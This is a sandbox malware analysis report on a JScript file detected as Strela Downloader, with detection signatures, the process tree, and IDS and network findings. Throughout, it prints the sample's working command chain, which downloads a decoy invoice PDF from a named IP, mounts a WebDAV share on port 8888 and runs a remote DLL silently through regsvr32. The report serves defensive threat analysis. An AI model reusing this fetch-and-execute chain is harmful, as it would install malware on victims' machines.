Edit tour

Windows Analysis Report
42173378525889.js

Overview

General Information

Sample name:	42173378525889.js
Analysis ID:	1588095
MD5:	362320673df6d476e7e3a79b0f7cda1a
SHA1:	15c397693e48231550c64e72b09e52bd9944ef37
SHA256:	f8cf3abab55c834adcffd69cc794d1cb155de4b6de08a3186116080b4a201e3d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6032 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2996 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5768 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5264 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7308 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2304 --field-trial-handle=1644,i,4730194288030749794,8526984683498079555,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5268 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5656 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1492 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6032	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2996, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5768, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2996, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5768, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", ProcessId: 6032, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5656, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 2996, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 2996, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 2996, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 2996, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 2996, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", ProcessId: 6032, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2996, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5768, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5268, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5656, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1492, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5268, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5656, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll, ProcessId: 2996, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:20:59.633681+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:20:57.246923+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 42173378525889.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 42173378525889.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:20:57 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.10:49706 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:53757 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49705 -> 193.143.1.205:80

Source: global traffic

